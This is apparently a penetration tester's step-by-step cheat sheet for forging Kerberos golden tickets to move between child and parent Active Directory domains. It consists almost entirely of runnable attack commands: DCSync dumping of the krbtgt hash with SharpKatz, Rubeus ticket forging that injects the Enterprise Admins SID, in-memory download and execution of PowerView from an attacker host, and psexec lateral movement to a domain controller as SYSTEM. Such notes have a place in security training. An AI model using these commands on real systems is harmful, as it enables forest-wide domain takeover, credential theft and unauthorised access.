Golden Ticket

Child Domain to Parent Domain

Creating golden ticket to be a part of EA within the parent domain from the child domain

1) Get krbtgt token from the child domain using DCSync

krbtgt -> ffffffffffffffffffffffffffffffff

2) Try to access CIFS on DC02

ls //dc02.domain.com/c$

3) Check the tickets

execute -o klist

4) Get the SIDs for the forest domain and its child

Get-DomainSID -Domain child.domain.com
Get-DomainSid -Domain domain.com
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainSid -Domain child.domain.com"'
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainSid -Domain domain.com"'

We get

S-1-5-21-2032401531-514583578-4118012345
S-1-5-21-1135011135-3178090508-3151412345

5) Draft golden ticket - user can be anything bogus - sid is current domain SID and SIDs is child's - Also -519 is the EA group identifier and is static

rubeus -t 30 -- golden /rc4:ffffffffffffffffffffffffffffffff /sid:S-1-5-21-2032401531-514583578-4118012345 /sids:S-1-5-21-1135011135-3178090508-3151412345-519 /ldap /user:Administrator /domain:child.domain.com /nowrap /ptt

6) Check the tickets

execute -o klist

7) Try accessing the C$ now

ls //dc02.domain.com/c$

8) Go into client -> nt auth\system shell and then

psexec -d Title -s Description -p osep-lateral dc02.domain.com

Parent Domain to Child Domain

All this or just add yourself into EA by being a DA on the parent domain

1) DCSync to do SharpKatz - Only the DA -> Admin can do it hence we do runas above

execute-assembly /home/kali/tools/bins/csharp-files/SharpKatz.exe --Command dcsync --User domain.com\\krbtgt --Domain domain.com --DomainController dc01.domain.com

Hashes

krbtgt -> ffffffffffffffffffffffffffffffff

2) Get the SIDs for the domain

Get-DomainSID -Domain domain.com
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainSid -Domain domain.com"'

We get

domain.com -> S-1-5-21-1725955968-4040474791-670212345

3) Draft golden ticket - user can be anything bogus - sid and sids are same with sids containing group id for EA

rubeus -t 30 -- golden /rc4:ffffffffffffffffffffffffffffffff /sid:S-1-5-21-1725955968-4040474791-670212345 /sids:S-1-5-21-1725955968-4040474791-670212345-519 /ldap /user:Administrator /domain:domain.com /nowrap /ptt

4) Check the tickets

execute -o klist

5) Try accessing the C$ now

ls //dc02.dev.domain.com/c$

6) Go into client -> nt auth\system shell and then

psexec -d Title -s Description -p osep-lateral dc02.dev.domain.com